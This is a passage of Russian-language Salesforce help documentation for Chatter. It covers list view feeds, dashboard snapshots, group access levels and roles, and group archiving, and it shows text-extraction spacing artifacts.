для списковыхпредставлений, толентыChatterнеотображаются в списковыхпредставленияхорганизаций, контактов
и интересов.

• Чтобы вернуться к списковому представлению, нажмите кнопку «Список».

СМ. ТАКЖЕ:

Просмотр лент записей
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Добавление спискового представления в избранное Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобы отслеживать ключевые бизнес-процессы прямо на вкладке Chatter, добавьте
списковое представление в избранное Chatter.

1. Откройте текущее списковоепредставлениеилисоздайте списковоепредставление
для набора записей (например, для организаций, возможностей или интересов).

2. ЧтобыпросмотретьобновленияChatterдля элементовсписка, щелкните «Лента»
в верхнем правом углу.

3. Щелкните ссылку «Добавить в избранное».
Имя, отображаемое в избранномна вкладкеChatter, соответствует имени спискового
представления.

СМ. ТАКЖЕ:

Просмотр лент записей

Панели мониторинга и их компоненты

Отслеживание компонентов панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра панелей
мониторинга:
• «Запуск отчетов» И

доступ к папке панелей
мониторинга

Еслипанелимониторингаподдерживаютфункциюотслеживаниялент, топользователи
могутпросматриватьобновленияиизмененияполейвлентеChatter. Такжепользователи
могут отслеживать сами панели мониторинга и их компоненты.

Динамические панели мониторинга не поддерживают функцию отслеживания
компонентов.

Длясозданияпредупрежденийиспользуются тольконефильтрованныеданные. Тоесть,
предупреждения не отправляются в том случае, если значение компонента преодолело
контрольную точку в результате фильтрации.

Если ленты не отображаются, обратитесь к администратору с просьбой включить
функцию отслеживания лент для панелей мониторинга.

Например, чтобы получать предупреждения о том, что общий объем продаж упал до
определенногопоказателянашкале, настройтефункциюусловноговыделениядля этого
компонента и начните его отслеживание.

•
Чтобы открыть меню , наведите указатель мыши на нужный компонент.

Чтобы закрыть меню, щелкните пустую область экрана.

• Выберите пункт «Отслеживать этот компонент».

Чтобыпрекратитьотслеживаниекомпонента, щелкните значок ивыберитепункт
«Отслеживание».

СМ. ТАКЖЕ:

Просмотр лент записей
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Общие сведения о публикации снимков в ленту пользователя или группы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При публикации снимка компонента в ленту Chatter рекомендуем определить
пользователей, которым данный компонент должен быть доступен для просмотра и
комментирования.

Снимок — это статическое изображение компонента панели мониторинга в
определенный момент времени, опубликованное в ленту Chatter. Чтобы предоставить
общий доступ к данным и добавить комментарии для компонента, снимок компонента
может быть опубликован в ленту пользователя или группы. Например, пользователь
может опубликовать снимок продаж за текущий месяц для своей рабочей группы.

Каждому снимку присваивается метка «Просмотр как». Данная метка содержит имя
текущего пользователя, компонент панели мониторинга которого просматривается в
настоящее время.

Пользователи могут публиковать снимки отфильтрованных компонентов (кроме
компонентов Visualforce и S-Control). Если фильтры все еще действительны, то при выборе заголовка снимка в ленте
открываетсяотфильтрованноепредставлениепанелимониторинга. Впротивномслучаеотображаетсянефильтрованная
панель мониторинга.

Еслипубликацияснимканедоступна, обратитеськ администраторуспросьбойвключитьподдержкуснимковкомпонента
панели мониторинга.

Важное замечание: Снимок, опубликованныйвлентупользователяилигруппы, становитсяпотенциальнодоступным
для всей организации, а именно:

• снимок, опубликованныйв ленту пользователя, становится общедоступным. Данный снимок доступенлюбому,
кто просматривает профиль этого пользователя;

• снимок, опубликованный в общедоступную группу, становится общедоступным. Данный снимок доступен
любому, кто просматривает профиль текущего пользователя или ленту группы;

• снимок, опубликованный в личную группу, становится доступным для всех участников этой группы.

Кроме того, снимокотображаетсяпользователямнезависимоотналичияунихправдоступа кпанеляммониторинга.
Убедитесь, что компонент не содержит важной информации!

СМ. ТАКЖЕ:

Отслеживание компонентов панели мониторинга
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Публикация снимков в Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра панелей
мониторинга:
• «Запуск отчетов» И

доступ к папке панелей
мониторинга

Чтобы предоставить другим пользователям возможность отслеживания изменений в
данных, опубликуйте снимок компонента панели мониторинга в сеть Chatter.

Снимок — это статическое изображение компонента панели мониторинга в
определенный момент времени, опубликованное в ленту Chatter.

• Чтобы предоставить доступ к сведениям тем пользователям, которые отслеживают
панель мониторинга, снимок компонента может быть опубликован в ленту панели
мониторинга. Например, публикация снимка диаграммы региональных продаж с
целью уведомления рабочей группы о снижении объемов продаж вКраснодарском
крае.

• Чтобы побудить пользователя или участника группы оставить свой комментарий
или выполнить какое-либо действие, снимок компонента может быть опубликован
в ленту соответствующего пользователя или группы.

Каждому снимку присваивается метка «Просмотр как». Данная метка содержит имя
текущего пользователя, компонент панели мониторинга которого просматривается в
настоящее время.

Пользователи могут публиковать снимки отфильтрованных компонентов (кроме
компонентов Visualforce и S-Control). Еслифильтрывсе ещедействительны, топривыборе
заголовка снимка в ленте открывается отфильтрованное представление панели
мониторинга. Впротивномслучаеотображаетсянефильтрованнаяпанельмониторинга.

Если ленты не отображаются, обратитесь к администратору с просьбой включить
функцию отслеживания лент для панелей мониторинга.

1.
Чтобы открыть меню , наведите указатель мыши на нужный компонент.

Чтобы закрыть меню, щелкните пустую область экрана.

2. Выберите область для отображения снимка.

a. Чтобыдобавитьснимокнапанельмониторинга, щелкните«Опубликоватьснимоквлентупанелимониторинга».

b. Чтобыдобавитьснимоквлентупользователяилигруппы, щелкните«Опубликоватьснимоквлентупользователя
или группы».

3. Введите комментарий в текстовуюобласть инажмите кнопку «ОК». Комментарийможет содержать упоминание, что
публикуемый компонент является отфильтрованным.

Снимок и комментарий будут незамедлительно добавлены в ленту панели мониторинга.

Прим.: Изображения отображаются в лентах в течение четырех месяцев. По истечении этого времени остаются
только комментарии.
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Совместная работа в группах Chatter

Группы Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Группы Chatter позволяют пользователям сотрудничать с определенными людьми.
Например, при работе над групповым проектом пользователь может создать группу,
чтобы обмениваться с другими ее участниками рабочимифайлами и сведениями.

Пользовательможетстатьучастникомнеболее300 групп, акомпанияможетиспользовать
не более 30,000 групп. Группы Chatter имеют разные уровни доступа.

• Общедоступнаягруппа: сообщения, комментарииифайлымогутпросматриваться
идобавлятьсялюбымипользователями. Участникомобщедоступной группыможет
стать любой пользователь.

• Личная группа: сообщения, комментарии и файлы могут просматриваться и
добавляться только участниками группы. Чтобы стать участником группы,
пользователь должен отправить соответствующий запрос или обратиться к ее
менеджеруилиответственному. Просмотрсообщений, обновленийифайловгруппы
во всей организации доступен пользователям с полномочиями «Изменение всех
данных» и «Просмотр всех данных». Прямое присоединение к личным группам и
изменение параметров группы доступно пользователям с полномочием «Изменение всех данных».

• Неуказанная группа: сообщения, комментарииифайлымогут просматриваться и добавляться только участниками
группыипользователями с полномочием «Управлениенеуказанными группами». Пользователинемогут отправлять
запросы на присоединение и должны быть приглашены менеджерами или ответственными за группу. Неуказанные
группыявляютсяболееконфиденциальными, поэтомунедоступныдругимпользователямвсписковыхпредставлениях,
лентах и результатах поиска. По умолчанию неуказанные группы недоступны для организации и должны быть
включены администратором.

• При необходимости установите флажок «Разрешить клиентский доступ». Менеджеры и ответственные за группу
могут отправлять клиентам приглашения на участие в личной или неуказанной группе. Фотография группы,
содержащей клиентов, помечается оранжевым верхним левым углом.

Уровень доступа к группе, поддерживающей клиентский доступ, не подлежит изменению.

Кроме того, некоторымгруппамможетбытьдоступнафункция архивирования, включенная администратором. Архивная
группа не поддерживает создание сообщений, но сохраняет данные для последующего использования.

СМ. ТАКЖЕ:

Действия, доступные пользователям посредством роли в группе Chatter

Общие сведения о клиентах Chatter в личных группах
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Общие сведения о неуказанных группах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

По сравнению с личными группами неуказанные группы являются более
конфиденциальными. Неуказанные группы доступны только участникам группы и
пользователям с полномочием «Управление неуказанными группами» в списковых
представлениях, лентах и результатах поиска.

Подобноличнымгруппам, неуказанныегруппыпозволяютпросматриватьленту, файлы
и страницу сведений для неуказанной группы только ее участникам. Тем не менее, по
сравнению с личными группами неуказанные группы являются более
конфиденциальными.

• Неуказанныегруппыотображаютсявсписковыхпредставлениях, лентахирезультатах
поиска только соответствующимучастникам. Поискипросмотрнеуказанных групп
доступен только участникам и пользователям с полномочием «Управление
неуказанными группами».

• Страница сведений о группе может просматриваться только участниками данной
группы.

(Личные группы позволяют пользователям, которые не являются их участниками, просматривать сокращенную
версию страницы сведений, содержащую имя, описание и список участников.)

• Неуказанные группы могут быть преобразованы в общедоступные или личные группы, но не наоборот.

• Добавление участников группы доступно только ответственным, менеджерам и пользователям с полномочием
«Управление неуказанными группами». Пользователи не могут отправлять запросы на присоединение.

• Пользователи не могут просматривать недоступные неуказанные группы в профилях других пользователей.

• Файлы, публикуемые в неуказанной группе, доступны только ее участникам. Файл, публикуемый вне неуказанной
группы, может быть обновлен другими пользователями, имеющими необходимые полномочия.

• Пользователисполномочием «Изменениевсехданных» или «Просмотрвсехданных» могутпросматриватьнеуказанную
группу или ее файлы только после добавления в качестве участников. Кроме того, они могут изменять параметры
группы только после назначения ответственности за группу или добавления в качестве ее менеджеров.

• Просмотрилиизменениенеуказанных групп, ихфайлови содержимого лентыбез добавления в качестве участников
доступно только пользователям с полномочием «Управление неуказанными группами».

Ограничения

Ниже перечислены ограничения, применяемые при создании неуказанных групп.

• Настраиваемые страницы или сторонние приложения, интегрированные в систему Salesforce, могут раскрывать
сведения о неуказанных группах тем пользователям, которые не имеют доступа посредством пользовательского
интерфейса Salesforce. Чтобы определить пользователей, которые могут просматривать информациюв неуказанных
группах, обратитесь к администратору.

• Использование тем не поддерживается неуказанными группами. При необходимости добавьте тему с хэштегом при
создании сообщения или комментария для неуказанной группы; опубликованная тема будет отображаться в виде
ссылки. Тем не менее, данная ссылка будет нерабочей ввиду отсутствия созданной страницы сведений о теме.

• Сообщения и комментарии не могут содержать упоминания о неуказанных группах.

СМ. ТАКЖЕ:

Включение неуказанных групп Chatter

Ограничения для неуказанных групп
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Использование страницы «Группы» приложения Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Страница «Группы» отображает список групп Chatter, доступных в компании.

Щелкните ссылку Группы на боковой панели страницы Chatter, чтобы просмотреть
список групп Chatter. Ниже перечислены действия, доступные на странице «Группы».

Создание группы
Чтобы открыть страницу «Создать группу» для добавления новой группы, нажмите
кнопку «Создать группу».

Фильтрация и сортировка списка групп
Чтобы отфильтровать группы, воспользуйтесь фильтрами ниже.

• «Недавнопросмотренные» (отображаются группы, которыепросматривались
недавно, начиная с самых последних групп)

• «Мои группы» (отображаются собственные или управляемые группы, либо
группы со своим участием)

• «Активные группы» (отображаются активные группы компании)

• «Моиархивныегруппы» (отображаютсясобственныеилиуправляемыеархивныегруппы, либоархивныегруппы
со своим участием)

Чтобы отсортировать список, щелкните заголовок столбца. Содержимое столбца «Группа» сортируется по имени;
содержимое столбца «Последнее действие» сортируетсяподатепоследнего сообщенияиликомментариядля данной
группы; содержимое столбца «Состав участников» сортируется по статусу участника.

Поиск группы
Чтобы найти группу, введите описание группы или не менее двух символов из имени группы в поле «Поиск групп».
По мере ввода выполняется автоматическая фильтрация списка.

Просмотр группы
Чтобы просмотреть группу, щелкните имя нужной группы. Пользователь может просматривать все группы, однако
ему доступныобновленияифайлытолько для общедоступных групп, а также для личных групп, участникомкоторых
он является. Группы, поддерживающие доступ клиентов, помечены следующим образом: «(С клиентами)».

Присоединение к общедоступной группе или отправка запроса на присоединение к личной группе
Чтобыстатьучастникомобщедоступнойгруппы, щелкните«Присоединиться». Чтобыотправитьзапроснадобавление
в личную группу менеджеру или ответственному, щелкните «Запрос на присоединение». Несмотря на то, что
пользователи с полномочием «Изменение всех данных» могут напрямую становиться участниками личных групп,
для них все равно отображается ссылка «Присоединиться».

Выход из группы или отмена запроса на присоединение к группе
Чтобы выйти из группы или отменить запрос на присоединение к группе, щелкните значок .

Просмотр профиля ответственного за группу
Чтобы просмотреть профиль ответственного за группу, щелкните его имя.

Просмотр рекомендаций по группам
Просмотрите группы, рекомендуемые сетью Chatter, в разделе «Рекомендации». Рекомендации составляются исходя
из популярности группы и количества отслеживаемых в группе пользователей. Чтобы просмотреть весь список,
щелкнитессылку «Дополнительно». Еслирекомендациинеотображаются, следовательно, пользовательуже является
участником всех рекомендуемых групп.

СМ. ТАКЖЕ:

Списки «Файлы группы»
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Присоединение или выход из состава группы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Пользователи могут присоединяться к группам, чтобы вести работу над проектами и
общими сферами интересов вместе с другими участниками. Это также позволяет
предоставлять участникам группы общий доступ к файлам и данным проекта.

1. Перейдите на страницу со сведениями о группе.

2. Для присоединения к общедоступной группе нажмите ссылку «Присоединиться»
или «Присоединиться к группе». Для присоединения к личной группе нажмите
ссылку «Запрос на присоединение». Запрос будет отправлен ответственному или
менеджеру группы, имеющему право принимать или отклонять запросы.

Пользовательможетбытьучастникомнеболее300 групп. Данноеограничениеохватывает
все группы Chatter, кроме архивных. Например, пользователь, являющийся участником
300 групп (включая 10 архивных), может стать участником только 10 дополнительных
групп.

Длятогочтобывыйтиизсостава группыилиотозвать запроснаприсоединениекличной
группе, перейдите на страницу сведений о группе и нажмите значок или ссылку «Выйти из группы».

Создание и управление группами

Создание групп Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания групп:
• «Создание и несение

ответственности за
новые группы Chatter»

Общедоступные, личные и неуказанные группы Chatter позволяют совместно работать
над общими проектами.

1. Переход к списку групп.

• В Salesforce Classic откройте вкладку Группы.

•
В Lightning Experienceщелкните значок в меню навигации.

2. Нажмите кнопку «Создать группу» в верхнем правом углу, а затем введите имя и
описание группы.

Прим.: Имена общедоступных и личных групп должны быть уникальными.
Имена неуказанных групп могут повторяться.

Прииспользованиисообществименаобщедоступныхиличныхгруппдолжны
быть уникальными в пределах сообщества.
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3. Выберите уровень доступа.

• Общедоступная группа: сообщения, комментарии и файлы могут просматриваться и добавляться любыми
пользователями. Участником общедоступной группы может стать любой пользователь.

• Личная группа: сообщения, комментарии и файлы могут просматриваться и добавляться только участниками
группы. Чтобыстать участникомгруппы, пользовательдолженотправитьсоответствующийзапросилиобратиться
к ее менеджеру или ответственному. Просмотр сообщений, обновлений и файлов группы во всей организации
доступен пользователям с полномочиями «Изменение всех данных» и «Просмотр всех данных». Прямое
присоединение к личным группам и изменение параметров группы доступно пользователям с полномочием
«Изменение всех данных».

• Неуказаннаягруппа: сообщения, комментарииифайлымогутпросматриватьсяидобавлятьсятолькоучастниками
группыипользователямисполномочием «Управлениенеуказаннымигруппами». Пользователинемогутотправлять
запросынаприсоединениеидолжныбытьприглашеныменеджерамиилиответственнымиза группу. Неуказанные
группы являются более конфиденциальными, поэтому недоступны другим пользователям в списковых
представлениях, лентах и результатах поиска. По умолчанию неуказанные группы недоступны для организации
и должны быть включены администратором.

• При необходимости установите флажок «Разрешить клиентский доступ». Менеджеры и ответственные за
группумогутотправлятьклиентамприглашениянаучастиевличнойилинеуказаннойгруппе. Фотографиягруппы,
содержащей клиентов, помечается оранжевым верхним левым углом.

Уровень доступа к группе, поддерживающей клиентский доступ, не подлежит изменению.

4. Принеобходимостиизменитепараметрыавтоматическогоархивирования, включенногоадминистраторомдля групп.
Рекомендуемотключитьавтоматическоеархивированиегруппытолькопринеобходимостиеепостояннойдоступности
даже при длительных периодах бездействия.

5. Нажмите кнопку «Сохранить».

Прим.: Ответственность за группу назначается текущему пользователю. Чтобы назначить нового ответственного,
сохраните группу и измените ее параметры.

СМ. ТАКЖЕ:

Можно ли изменить уровень доступа к группе (например, сделать личную группу общедоступной)?
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Редактирование параметров группы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
общедоступныхилиличных
групп Chatter:
• Роль ответственного

или менеджера группы

ИЛИ

«Изменение всех
данных» для
редактирования
общедоступных и
личных групп

ИЛИ

«Управление
неуказанными
группами» для
редактирования
неуказанных групп

Позволяет редактировать параметры группы: менять ответственное лицо, параметры
архивирования, уровень группового доступа, а также удалять группы.

ПринеобходимостиизменитепараметрысобственнойилиуправляемойгруппыChatter.

1. Щелкните ссылку «Параметры группы» на странице сведений о группе, если вы
используете Salesforce Classic. Если вы используете Lightning Experience, щелкните
кнопку «Редактирование группы» на панели группы.

2. При необходимости измените имя и описание группы.

3. Чтобы изменить значение поля «Ответственный», введите имя нового
ответственного илищелкните значок поиска. Изменение ответственного доступно
только текущему ответственному или пользователю с полномочием «Изменение
всех данных». Новый ответственный должен быть выбран из числа текущих
участников группы. Клиентам не могут быть предоставлены полномочия
ответственного.

4. При необходимости измените параметры автоматического архивирования,
включенногоадминистраторомдля групп. Рекомендуемотключитьавтоматическое
архивирование группытолькопринеобходимостиеепостояннойдоступностидаже
при длительных периодах бездействия.

5. Дополнительно можно изменить уровень доступа для группы. Например, чтобы
предоставитьдоступк группеболееширокойаудитории, рекомендуемпреобразовать
неуказанную группу в общедоступную или личную.

Прим.: В случае изменения личной группы на общедоступную, обновления
ифайлыбудутдоступнывсемпользователям. Крометого, любойпользователь
сможет стать участником группы, а все отложенные запросы на добавление в
группу будут приняты. Личные группы с участием клиентов не могут быть
преобразованы в группы других типов.

• Общедоступная группа: сообщения, комментарии и файлы могут
просматриваться и добавляться любыми пользователями. Участником
общедоступной группы может стать любой пользователь.

• Личная группа: сообщения, комментарии и файлы могут просматриваться и
добавляться только участниками группы. Чтобы стать участником группы,
пользователь должен отправить соответствующий запрос или обратиться к ее
менеджеру или ответственному. Просмотр сообщений, обновлений и файлов группы во всей организации
доступен пользователям с полномочиями «Изменение всех данных» и «Просмотр всех данных». Прямое
присоединение к личным группам и изменение параметров группы доступно пользователям с полномочием
«Изменение всех данных».

• Неуказаннаягруппа: сообщения, комментарииифайлымогутпросматриватьсяидобавлятьсятолькоучастниками
группыипользователямисполномочием «Управлениенеуказаннымигруппами». Пользователинемогутотправлять
запросынаприсоединениеидолжныбытьприглашеныменеджерамиилиответственнымиза группу. Неуказанные
группы являются более конфиденциальными, поэтому недоступны другим пользователям в списковых
представлениях, лентах и результатах поиска. По умолчанию неуказанные группы недоступны для организации
и должны быть включены администратором.

• При необходимости установите флажок «Разрешить клиентский доступ». Менеджеры и ответственные за
группумогутотправлятьклиентамприглашениянаучастиевличнойилинеуказаннойгруппе. Фотографиягруппы,
содержащей клиентов, помечается оранжевым верхним левым углом.
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Уровень доступа к группе, поддерживающей клиентский доступ, не подлежит изменению.

6. Нажмите кнопку «Сохранить».

Ниже перечислены действия, доступные при наличии соответствующих полномочий.

• Архивировать группу.

• Удалить группу.

СМ. ТАКЖЕ:

Добавление и удаление участников группы Chatter

Можно ли изменить уровень доступа к группе (например, сделать личную группу общедоступной)?

Личная группаможет бытьизмененана общедоступную (илинаоборот) толькоответственнымилименеджером группы.
Для этогорекомендуемизменитьпараметры группы. Вслучаеизмененияличной группынаобщедоступную, обновления
и файлы будут доступны всем пользователям. Кроме того, любой пользователь сможет стать участником группы, а все
отложенные запросы на добавление в группу будут приняты. Личные группы с участием клиентов не могут быть
преобразованыв группыдругихтипов. Уровеньдоступакличнойгруппе, поддерживающейдоступклиентов, неподлежит
изменению.

СМ. ТАКЖЕ:

Действия, доступные пользователям посредством роли в группе Chatter

Добавление и удаление участников группы Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Являетесь ответственным или менеджером группы Chatter? Ниже приведен алгоритм
добавления или удаления участников группы.

1. В Salesforce Classicщелкните ссылку «Добавить/удалить участников» на странице
сведений о группе. В Lightning Experienceщелкните ссылку «Добавить участника»
на панели основных показателей группы (администратор должен добавить это
действие в публикатор группы).

2. Чтобы отфильтровать список пользователей, начните вводить имя нужного
пользователя.

3. Чтобы добавить участника, нажмите кнопку «Добавить». Чтобы удалить участника,
щелкните значок . Чтобы принять запрос на присоединение пользователя,
щелкните «Принять». Чтобы отклонить запрос, щелкните значок .

4. По завершении нажмите кнопку «Готово».

СМ. ТАКЖЕ:

Просмотр участников группы Chatter
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Принятие или отклонение запросов на добавление в личные группы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

z

Пользователь, являющийся ответственным или менеджером личной группы Chatter,
можетприниматьилиотклонять запросынаучастиев группе.Крометого, пользователи
с полномочием «Изменение всех данных» могут просматривать запросы для всех
общедоступныхиличных групп, а также управлять ими, а пользователи с полномочием
«Управление неуказанными группами» могут управлять запросами на участие для всех
неуказанных групп организации.

1. Чтобыпросмотреть список запросов, выполните одноиз указанныхниже действий.

• На странице сведений о группе щелкните ссылку «Запрос», например, «3
запроса».

• На странице сведений о группе щелкните ссылку «Добавить/удалить
участников», затемвыберитефильтр«Запросы»иливоспользуйтесьфильтром
«Каждый».

• Щелкните ссылку, добавленную в электронный запрос.

2. Примите или отклоните запросы.

Прим.: Каждому пользователю будет отправлено сообщение эл. почты об отклонении или принятии запроса.

• Чтобы принять запрос, щелкните «Принять». Чтобы принять несколько запросов одновременно, щелкните
«Принять x из y». Например, «Принять 3 из 3».

• Чтобыотклонить запрос, щелкните значок . Принеобходимостивведите сообщение, котороебудетотправлено
в случае отклонения запроса, и нажмите кнопку «Отправить». Для возврата нажмите кнопку «Отмена».

3. Чтобы закрыть окно, нажмите кнопку «Готово».

Если личная группа становится общедоступной, то любые отложенные запросы принимаются автоматически.
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Роли группы

Действия, доступные пользователям посредством роли в группе Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания групп:
• «Создание и несение

ответственности за
новые группы Chatter»

Даннаятаблицасодержитдействия, доступныеучастникам, менеджерамиответственным
в общедоступных и личных группах Chatter. Клиенты могут быть менеджерами и
участниками группы, но не могут быть ответственными.

УчастникМенеджерОтветственныйДействие

ДаДаДаПубликация,
комментирование и
поиск по лентам
группы

ДаДаДаДобавление и
удаление записей в
группах (при
наличии)

ДаДаПубликация
объявлений группы

ДаДаУдаление
сообщений и
комментариев

ДаДаДобавление и
удаление
участников

ДаДаИзменение ролей
участников

ДаДаРедактирование
параметров группы

ДаДаРедактирование
поля «Сведения»

ДаДаАрхивирование
групп и активация
архивных групп

ДаИзменение
ответственного за
группу

ДаУдаление группы

Независимо от участия в группе, пользователи с полномочием «Изменение всех данных» могут выполнять все действия
во всехличныхиобщедоступных группах, апользователисполномочием «Просмотр всех данных» могутпросматривать
сведения обо всех личных и общедоступных группах.
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Кроме того, в неуказанных группах:

• Пользователисполномочием «Управлениенеуказаннымигруппами» могутнаходитьивыполнятьвседанныедействия
в неуказанных группах, несмотря на их неучастие.

• Пользователисполномочием «Изменениевсехданных» или «Просмотрвсехданных» могутнаходитьипросматривать
неуказанные группы только при условии их участия. В отличие от общедоступных и личных групп, пользователи с
полномочием «Изменениевсехданных» немогут выполнятьдействияответственногоза группувнеуказанныхгруппах.
Они могут выполнять действия менеджера группы при назначении им данной роли в неуказанной группе.

СМ. ТАКЖЕ:

Что происходит в результате деактивации ответственного за группу Chatter?

Изменение ролей в группе Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Чтобы изменить роли в группе Chatter для тех групп, которыми пользователь управляет
илиза которыенесетответственность, необходимовыполнитьуказанныенижедействия.

1. На странице сведений о группе щелкните «Изменить роли».

2. Чтобы найти участников группы, воспользуйтесь полем поиска. Чтобы выполнить
сортировку списка, щелкните «Менеджеры» или «Все участники».

3. Установите флажок «Менеджер» для тех пользователей, которым должна быть
назначенарольменеджера. Клиент, являющийсяменеджером, можетпросматривать
пользователей, которыезапрашиваютдобавлениев группу (несмотрянаихотсутствие
в других общих группах), и утверждать запросы.

Прим.: Чтобыизменитьответственного за группу, пользовательдолженнести
ответственность за группу. Кроме того, пользователи с полномочием
«Изменение всех данных» могут изменять ответственного в общедоступных и
личных группах, а пользователи с полномочием «Управление неуказанными
группами» могут выполнять данное действие для неуказанных групп. Чтобы
назначить нового ответственного, щелкните ссылку «Параметры группы»
напротив текущего ответственного.

4. Нажмите кнопку «Готово».

СМ. ТАКЖЕ:

Что происходит в результате деактивации ответственного за группу Chatter?

Что происходит в результате деактивации ответственного за группу Chatter?

Деактивированный пользователь продолжает нести ответственность за группу, однако пользователь с полномочием
«Изменениевсехданных» можетназначитьновогоответственногозаобщедоступнуюилиличнуюгруппу. Пользователь
с полномочием «Управление неуказанными группами» может назначить нового ответственного за неуказанную группу.

СМ. ТАКЖЕ:

Изменение ролей в группе Chatter
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Архивирование и активация групп Chatter

Архивирование групп Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Архивирование группы Chatter препятствует публикации сообщений или файлов в
группу. Предыдущиесообщения, комментарииифайлыостаютсядоступнымив группе
для последующего использования.

Архивные группы поддерживают комментирование текущих сообщений, упоминание
людей и поиск по ленте. Кроме того, пользователи могут присоединяться и выходить
из состава архивных групп, создавать отчеты по архивным группам, а также выполнять
поиск архивных групп и их содержимого посредством функции глобального поиска.
Ответственныеименеджерымогутархивироватьиактивироватьгруппы, атакжевключать
и выключать автоматическое архивирование групп. Пользователи с полномочием
«Изменение всех данных» могут выполнять данные действия для общедоступных и
личных групп организации, тогда как пользователи с полномочием «Управление
неуказанными группами» могут выполнять данные действия для неуказанных групп.

Архивные группы позволяют пользователям работать только с активными группами
организации.

• Архивные группы не учитываются ограничениями для состава участников группы.

• Сообщения из архивных групп не отображаются в лентах Chatter, кроме случаев добавления нового комментария.
Сообщения с новыми комментариями отображаются в ленте «Вся компания» и ленте каждого участника группы.

• Предоставлениеобщего доступа кфайламилентамограничивается только активными группами, позволяяповысить
эффективность поиска групп.

• Архивные группы отображаются только в списке «Мои архивные группы».

Пример: Рекомендуем архивировать неиспользуемые или редко используемые группы, содержащие ценную
информацию, которая должна быть сохранена. Ниже приведены некоторые примеры.

• Группа, созданная группой сбыта для проведения сделки. Данная группа может редко использоваться после
преобразования интереса, но должна быть доступна группе сбыта (особенно при наличии важных сведений о
клиенте).

• Группа, используемая для планирования корпоративного события. Данная группа может быть заархивирована
после проведения события (особенно при наличии сведений о поставщиках и полезных обсуждений).

• Группа, выполняющая роль службы поддержки и используемая для отслеживания проблем, возникающих во
времяосновногопроцессаразвертыванияклиента. Данная группаможетбыть заархивированапослеразрешения
проблем развертывания (особенно при наличии важных сведений, которые могут использоваться агентами
службы поддержки для устранения будущих неполадок).

• Устаревшая группа, замененная новой группой, может быть заархивирована с целью перенаправления
пользователей в новую группу (особенно при наличии более полных данных).

• Группа, используемаярабочейгруппой, можетбытьзаархивированаприееизмененииилиувольнениинекоторых
участников из компании (особенно при наличии обсуждений, которые могут быть полезны для последующего
использования).

Рекомендуем выключить автоматическое архивирование для групп, обновляемых нерегулярно, но содержащих
важныесведения (например, группы, используемыедляпубликациикорпоративныхобъявлений). Данныйалгоритм
позволяет предотвратить архивирование групп, которые не использовались более 90 дней, а также гарантирует
отображение всех важных сообщений.
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Архивирование групп Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Пользователи могут архивировать группы вручную или редактировать параметры их
автоматического архивирования.

Проверка группнаналичиедействийлентывыполняется еженедельно. Автоматическое
архивирование групп выполняется при отсутствии новых сообщений ленты или
комментариев в течение 90 дней. Упоминание группы не считается действием ленты,
поэтому не задерживает архивирование группы. Владельцы групп, менеджеры групп и
пользователи с полномочием «Изменение всех данных» могут в любое время
архивировать группы вручную или редактировать параметры их автоматического
архивирования.

1. ЩелкнитессылкуGroup Settingsнастраницесведенийо группе, есливыиспользуете
Salesforce Classic. Если вы используете Lightning Experience, щелкните кнопку
«Редактирование группы» на панели группы.

2. Чтобы настроить параметры архивирования группы, выполните одно из указанных ниже действий.

• Чтобы заархивировать группу, нажмите кнопку «Архивировать».

